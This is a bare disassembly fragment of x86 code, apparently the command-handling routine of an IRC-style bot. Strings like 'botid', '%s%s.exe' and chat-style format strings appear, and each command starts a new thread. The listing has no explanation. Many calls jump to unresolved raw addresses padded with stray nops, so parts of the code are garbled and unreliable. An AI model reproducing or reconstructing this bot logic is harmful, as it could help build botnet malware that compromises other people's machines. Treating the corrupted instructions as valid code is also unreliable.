		mov	[ebp+arg_0], ebx
		jz	short loc_411F74
		mov	[ebp+arg_24], offset dword_42ACB0


loc_411F37:				; CODE XREF: sub_40EE72+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F37
		jmp	short loc_411F74
; ---------------------------------------------------------------------------


loc_411F5A:				; CODE XREF: sub_40EE72+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_411F74:				; CODE XREF: sub_40EE72+30BCj
					; sub_40EE72+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_414037
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBB
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBB
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_41208F
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_40EE72+3117j
					; sub_40EE72+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDD
		push	offset unk_436FE4
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_411FDD:				; CODE XREF: sub_40EE72+314Fj
					; sub_40EE72+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412089
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207D


loc_41205B:				; CODE XREF: sub_40EE72+3209j
		cmp	eax, ebx
		jz	short loc_41207D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205B


loc_41207D:				; CODE XREF: sub_40EE72+31E7j
					; sub_40EE72+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_41208F
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_40EE72+31C1j
		mov	[ebp+var_304], ebx


loc_41208F:				; CODE XREF: sub_40EE72+3144j
					; sub_40EE72+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E0


loc_4120CD:				; CODE XREF: sub_40EE72+3291j
		push	esi


loc_4120CE:				; CODE XREF: sub_40EE72+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210B
; ---------------------------------------------------------------------------


loc_4120E0:				; CODE XREF: sub_40EE72+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120EF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120EF
		push	eax
		jmp	short loc_4120CE
; ---------------------------------------------------------------------------


loc_4120EF:				; CODE XREF: sub_40EE72+3273j
					; sub_40EE72+3278j
		mov	esi, offset aF	; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CD
		mov	[ebp+var_3B4], bl


loc_41210B:				; CODE XREF: sub_40EE72+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211D
		mov	eax, offset aSequential	; "Sequential"


loc_41211D:				; CODE XREF: sub_40EE72+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F60
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4121AB


loc_412195:				; CODE XREF: sub_40EE72+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460A
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_412195
; ---------------------------------------------------------------------------


loc_4121AB:				; CODE XREF: sub_40EE72+3321j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_436F18
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_4121BC:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F45
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436F0C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F45
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_4122A7:				; CODE XREF: sub_40EE72+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_4122D4:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F45
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F45
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A7
; ---------------------------------------------------------------------------


loc_4123A9:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43F6A8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436EA0
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41248B


loc_412475:				; CODE XREF: sub_40EE72+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E3
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_412475
; ---------------------------------------------------------------------------


loc_41248B:				; CODE XREF: sub_40EE72+3601j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_436E54
		jmp	loc_4144D4
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E08
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412588


loc_412572:				; CODE XREF: sub_40EE72+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E3
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_412572
; ---------------------------------------------------------------------------


loc_412588:				; CODE XREF: sub_40EE72+36FEj
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_436DB4
		jmp	loc_4144D4
; ---------------------------------------------------------------------------


loc_412599:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F5
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125F5:				; CODE XREF: sub_40EE72+376Dj
		mov	[ebp+var_570], ebx


loc_4125FB:				; CODE XREF: sub_40EE72+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412612
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------


loc_412612:				; CODE XREF: sub_40EE72+378Fj
		mov	[ebp+var_574], ebx


loc_412618:				; CODE XREF: sub_40EE72+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436D78
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4126C9


loc_4126B3:				; CODE XREF: sub_40EE72+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_4126B3
; ---------------------------------------------------------------------------


loc_4126C9:				; CODE XREF: sub_40EE72+383Fj
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_436D28
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_4126DA:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_436CEC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4127AD


loc_41279B:				; CODE XREF: sub_40EE72+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127C8
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_41279B
; ---------------------------------------------------------------------------


loc_4127AD:				; CODE XREF: sub_40EE72+3927j
		nop
		call	near ptr 2640A83h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436CA4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4127C8:				; CODE XREF: sub_40EE72+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	esi
		jmp	loc_414617
; ---------------------------------------------------------------------------


loc_4127D8:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_436C64
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4128C0


loc_4128AA:				; CODE XREF: sub_40EE72+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_4128AA
; ---------------------------------------------------------------------------


loc_4128C0:				; CODE XREF: sub_40EE72+3A36j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_436C1C


loc_4128CC:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		jmp	loc_411D1F
; ---------------------------------------------------------------------------


loc_4128DD:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292B
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41292B:				; CODE XREF: sub_40EE72+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436BDC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4129B7


loc_4129A1:				; CODE XREF: sub_40EE72+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A62
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_4129A1
; ---------------------------------------------------------------------------


loc_4129B7:				; CODE XREF: sub_40EE72+3B2Dj
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_436B94
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412ABF
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436B58
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412AAE


loc_412A98:				; CODE XREF: sub_40EE72+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_412A98
; ---------------------------------------------------------------------------


loc_412AAE:				; CODE XREF: sub_40EE72+3C24j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_436B10
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_412ABF:				; CODE XREF: sub_40EE72+3B67j
		push	offset unk_436AC8
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_412AC9:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 27D0B89h
		test	eax, eax
		jz	short loc_412AF9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436A94
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460A
; ---------------------------------------------------------------------------


loc_412AF9:				; CODE XREF: sub_40EE72+3C63j
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C07
; ---------------------------------------------------------------------------


loc_412B1B:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B55
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B55
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_412B55:				; CODE XREF: sub_40EE72+3CC1j
					; sub_40EE72+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_436A38
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412C0B


loc_412BF5:				; CODE XREF: sub_40EE72+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E0F
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_412BF5
; ---------------------------------------------------------------------------


loc_412C0B:				; CODE XREF: sub_40EE72+3D81j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_4369EC
		jmp	loc_414E00
; ---------------------------------------------------------------------------


loc_412C1C:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C59
		mov	word ptr [ebp+var_470],	5


loc_412C59:				; CODE XREF: sub_40EE72+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_413A62
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A62
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2750531h
		test	eax, eax
		jnz	short loc_412CA4
		push	offset unk_4369B8
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412CA4:				; CODE XREF: sub_40EE72+3E26j
		push	edi
		push	offset dword_436990
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412CAF:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E29
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		nop
		call	near ptr 2770133h
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F2
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D44
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4A
; ---------------------------------------------------------------------------


loc_412D44:				; CODE XREF: sub_40EE72+3EBCj
		mov	[ebp+var_570], ebx


loc_412D4A:				; CODE XREF: sub_40EE72+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D64
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6A
; ---------------------------------------------------------------------------


loc_412D64:				; CODE XREF: sub_40EE72+3EE1j
		mov	[ebp+var_574], ebx


loc_412D6A:				; CODE XREF: sub_40EE72+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
